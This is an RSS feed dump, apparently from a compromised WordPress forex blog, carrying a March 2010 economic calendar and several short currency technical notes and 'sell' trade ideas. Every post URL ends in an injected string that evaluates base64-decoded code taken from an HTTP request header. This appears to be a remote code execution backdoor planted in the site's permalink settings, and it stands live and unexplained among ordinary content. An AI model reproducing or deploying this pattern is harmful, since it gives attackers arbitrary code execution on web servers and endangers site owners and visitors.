Your Friend LLC http://yourfriendllc.com/fx Investment Research Thu, 11 Mar 2010 05:20:29 +0000 http://wordpress.org/?v=2.6.5 en Forex Economic Calendar http://yourfriendllc.com/fx/2010/03/10/forex-economic-calendar-150/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://yourfriendllc.com/fx/2010/03/10/forex-economic-calendar-150/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 11 Mar 2010 05:20:29 +0000 master http://yourfriendllc.com/fx/2010/03/10/forex-economic-calendar-150/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Date Time* Source Description Forecast Previous 3/11/2010 00:00 AUS Consumer Inflation Expectation n/a 3.2% 3/11/2010 00:30 AUS Employment Change 15.0K 52.7K 3/11/2010 10:00 EU ECB Publishes Mar. Monthly Report n/a n/a 3/11/2010 13:30 CA Int’l Merchandise Trade n/a -0.2B 3/11/2010 13:30 US Trade Balance -$40.3B -$40.2B 3/11/2010 13:30 US Initial Jobless Claims n/a n/a 3/11/2010 13:30 US Continuing Claims n/a n/a 3/11/2010 21:00 NZ REINZ House Sales YoY% n/a -1.1% 3/11/2010 21:45 NZ Retail Sales (MoM) n/a 0.0% 3/12/2010 04:30 JPN Industrial Production YoY% n/a 5.1% 3/12/2010 07:00 GE Wholesale Price Index (YoY) 2.3% 1.9% 3/12/2010 11:00 EU Euro-Zone Ind. Prod. wda (YoY) -1.6% -4.8% 3/12/2010 12:00 CA Net Change in Employment 16.0K 43.0K 3/12/2010 13:30 US Advance Retail Sales 0.2% 0.5% 3/12/2010 14:55 US U. of Michigan Confidence 73.8 73.6 3/12/2010 15:00 US Business Inventories 0.1% -0.2% 3/12/2010 20:45 EU Speech by Jean-Claude Trichet n/a n/a 3/14/2010 22:00 AUS RBA Deputy Bank Governor Edey Speaks in Sydney n/a n/a 3/15/2010 00:01 UK Rightmove House Prices (YoY) n/a 6.1% 3/15/2010 05:00 JPN Consumer Confidence n/a 39.4 3/15/2010 10:00 EU Eurozone Employment (YoY) n/a -2.1% 3/15/2010 12:30 CA New Motor Vehicle Sales MoM n/a 2.6% 3/15/2010 13:00 US Total Net TIC Flows n/a $60.9B 3/15/2010 13:15 US Industrial Production 0.1% 0.9% 3/15/2010 17:00 US NAHB Housing Market Index 17 17 3/16/2010 00:30 AUS Reserve Bank’s Board March Minutes n/a n/a 3/16/2010 02:00 NZ Non Resident Bond Holdings n/a 63.6% 3/16/2010 04:00 JPN BoJ Monetary Policy Meeting n/a n/a 3/16/2010 04:00 JPN BOJ Target Rate n/a 0.10% 3/16/2010 06:00 JPN Machine Tool Orders (YoY n/a n/a 3/16/2010 07:00 EU EU 25 New Car Registrations n/a 12.9% 3/16/2010 09:30 UK DCLG UK House Prices (YoY) n/a 2.9% 3/16/2010 10:00 GE Zew Surveys n/a n/a 3/16/2010 10:00 EU Euro-Zone CPI-core (YoY) n/a 0.9% 3/16/2010 12:30 CA Labor Productivity QoQ n/a -0.3% 3/16/2010 12:30 US Import Price Index (YoY) n/a 11.5% 3/16/2010 18:15 US FOMC Rate Decision 0.25% 0.25% 3/16/2010 21:00 US ABC Consumer Confidence n/a n/a 3/16/2010 23:30 AUS Westpac Leading Index (MoM) n/a 0.5% 3/16/2010 23:50 JPN Tertiary Industry Index (MoM) n/a -0.9% 3/17/2010 00:30 AUS Dwelling Starts n/a 9.4% 3/17/2010 01:00 AUS RBA Deputy Bank Governor Debelle: Panel Discussant - Melbourne n/a n/a 3/17/2010 09:30 UK Bank of England Minutes n/a n/a 3/17/2010 10:00 EU Construction Output WDA YoY n/a -3.1% 3/17/2010 12:30 CA Wholesale Sales MoM n/a 0.7% 3/17/2010 12:30 US PPI (YoY) 5.23 4.6% 3/17/2010 23:50 JPN BSI Large All Industry (QoQ) n/a -1.9 3/18/2010 00:30 AUS RBA Foreign Exchange Transactn n/a 295M 3/18/2010 02:00 NZ ANZ Consumer Confidence Index n/a 123.6 3/18/2010 05:00 JPN BOJ Monthly Report n/a n/a 3/18/2010 09:00 EU ECB Euro-Zone Current Account n/a 1.9B 3/18/2010 09:30 UK M4 Money Supply (MoM) n/a 0.4% 3/18/2010 10:00 EU Euro-Zone Trade Balance n/a 4.4B 3/18/2010 11:00 UK U.K. CBI March Industrial Trends n/a n/a 3/18/2010 12:30 CA Int’l Securities Transactions n/a 11.231B 3/18/2010 12:30 US CPI (YoY) 2.3% 2.6% 3/18/2010 14:00 US Philadelphia Fed. 17.0 17.6 3/18/2010 21:45 NZ Visitor Arrivals n/a -2.4% 3/19/2010 02:00 NZ Credit Card Spending SA (MoM) n/a 1.5% 3/19/2010 04:30 JPN All Industry Activity Index (MoM) n/a -0.3% 3/19/2010 07:00 GE Producer Prices (YoY) n/a -3.4% 3/19/2010 12:30 CA CPI YoY n/a 1.9% 3/19/2010 12:30 CA Retail Sales MoM n/a 0.4%

* Times listed are GMT

]]> http://yourfriendllc.com/fx/2010/03/10/forex-economic-calendar-150/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 3-11 Economic Calendar http://yourfriendllc.com/fx/2010/03/10/3-11-economic-calendar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://yourfriendllc.com/fx/2010/03/10/3-11-economic-calendar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 11 Mar 2010 04:26:27 +0000 master http://yourfriendllc.com/fx/2010/03/10/3-11-economic-calendar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ region_forex_00038

]]> http://yourfriendllc.com/fx/2010/03/10/3-11-economic-calendar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ China’s Industrial Production Weaker YoY http://yourfriendllc.com/fx/2010/03/10/china%e2%80%99s-industrial-production-weaker-yoy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://yourfriendllc.com/fx/2010/03/10/china%e2%80%99s-industrial-production-weaker-yoy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 11 Mar 2010 02:29:35 +0000 master http://yourfriendllc.com/fx/2010/03/10/china%e2%80%99s-industrial-production-weaker-yoy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ China’s Industrial Production for February came in significantly weaker year over year at +12.8% versus the expectation of +19%, although the YTD release was marginally firmer than expected (20.7% vs. 19.5%.) Producer Prices were also higher than expected, all of which has helped the USD continue its bid this Asian session. On the EUR/USD chart below we see the negative bias against the Euro gradually continue to give the pair lower highs. We will look to see if the trendline resistance shown below can once again hold the pair and whether the mid 1.34 figure will keep on supporting the pair, a break either way could provide a new short-term dynamic for the pair.

eurusd

]]> http://yourfriendllc.com/fx/2010/03/10/china%e2%80%99s-industrial-production-weaker-yoy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Aussie Unemployment Reprt http://yourfriendllc.com/fx/2010/03/10/aussie-unemployment-reprt/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://yourfriendllc.com/fx/2010/03/10/aussie-unemployment-reprt/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 11 Mar 2010 00:40:02 +0000 master http://yourfriendllc.com/fx/2010/03/10/aussie-unemployment-reprt/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The February Australian Unemployment Report came out worse than expected, sending the risk pairs toward session lows. The economywas expected to grow by 15,000 new employees, but February’s job growth expanded by only 400. The employment rate came in as expected at 5.3%. The AUD immediately dropped on the release, however finding support again on the trendlne we reviewed yesterday.

audusd1

]]> http://yourfriendllc.com/fx/2010/03/10/aussie-unemployment-reprt/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Daily Technical Outlook http://yourfriendllc.com/fx/2010/03/10/daily-technical-outlook-83/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://yourfriendllc.com/fx/2010/03/10/daily-technical-outlook-83/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 11 Mar 2010 00:30:43 +0000 master http://yourfriendllc.com/fx/2010/03/10/daily-technical-outlook-83/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The euro is approaching the trend line resistance extended from 1.3840, now around 1.3690. Yesterday’s gains were limited ahead of the said resistance level but the euro is conserving recent gains above 1.3600 so a new test is likely. To the downside, support is seen around 1.3550- formed by the…

]]> http://yourfriendllc.com/fx/2010/03/10/daily-technical-outlook-83/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Technical Analysis for Major Currencies http://yourfriendllc.com/fx/2010/03/10/technical-analysis-for-major-currencies-95/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://yourfriendllc.com/fx/2010/03/10/technical-analysis-for-major-currencies-95/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 11 Mar 2010 00:26:54 +0000 master http://yourfriendllc.com/fx/2010/03/10/technical-analysis-for-major-currencies-95/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The pivotal support of 1.3525 continued pushing the pair upwards crossing out attempts of a bearish direction. The pair is currently facing resistance for the descending channel at 1.3665; however, due to the bearish momentum’s weakness we expect a bullish intraday direction that will start with the breach of 1.3665…

]]> http://yourfriendllc.com/fx/2010/03/10/technical-analysis-for-major-currencies-95/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Forex Technical Update http://yourfriendllc.com/fx/2010/03/10/forex-technical-update-91/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://yourfriendllc.com/fx/2010/03/10/forex-technical-update-91/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 11 Mar 2010 00:20:16 +0000 master http://yourfriendllc.com/fx/2010/03/10/forex-technical-update-91/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The EURUSD bias remains neutral in nearest term and the bearish scenario remains intact. Immediate resistance comes near 1.3705 ? 1.3750 (23.6% retracement). Initiate shorts near these levels with tight stoploss of 1.3765 levels. (EURUSD - 1.3645).Neutral.

]]> http://yourfriendllc.com/fx/2010/03/10/forex-technical-update-91/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Technical Analysis for Crosses http://yourfriendllc.com/fx/2010/03/10/technical-analysis-for-crosses-89/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://yourfriendllc.com/fx/2010/03/10/technical-analysis-for-crosses-89/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 11 Mar 2010 00:18:13 +0000 master http://yourfriendllc.com/fx/2010/03/10/technical-analysis-for-crosses-89/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The GBP/JPY pair is trapped within a tight range since yesterday but it succeeded in forming an obvious bearish candlestick formation as seen on the provided four-hour chart, where it also activated a negative crossover on Stochastic. Thus; nothing changed the bigger weekly outlook of the Elliott count and potential…

]]> http://yourfriendllc.com/fx/2010/03/10/technical-analysis-for-crosses-89/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Trade Idea: USD/CHF - Sell At 1.0785 http://yourfriendllc.com/fx/2010/03/10/trade-idea-usdchf-sell-at-10785-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://yourfriendllc.com/fx/2010/03/10/trade-idea-usdchf-sell-at-10785-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 11 Mar 2010 00:14:20 +0000 master http://yourfriendllc.com/fx/2010/03/10/trade-idea-usdchf-sell-at-10785-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Although the greenback fell to 1.0686 yesterday, as dollar has recovered after holding above previous minor support at 1.0676, suggesting further consolidation within 1.0648-1.0810 range would take place and rebound to the Ichimoku cloud top (now at 1.0769) cannot be ruled out, however, indicated upper range should continue to hold,…

]]> http://yourfriendllc.com/fx/2010/03/10/trade-idea-usdchf-sell-at-10785-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Trade Idea: GBP/USD - Sell At 1.5040 http://yourfriendllc.com/fx/2010/03/10/trade-idea-gbpusd-sell-at-15040/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://yourfriendllc.com/fx/2010/03/10/trade-idea-gbpusd-sell-at-15040/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 11 Mar 2010 00:11:31 +0000 master http://yourfriendllc.com/fx/2010/03/10/trade-idea-gbpusd-sell-at-15040/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Although cable fell to 1.4873 yesterday, as the British pound recovered after holding above indicated minor support at 1.4855, suggesting further consolidation would take place and retracement to 1.5035-44 (50% Fibonacci retracement of 1.5197 to 1.4873 and current level of the Kijun-Sen and Ichimoku cloud bottom) cannot be ruled out,…

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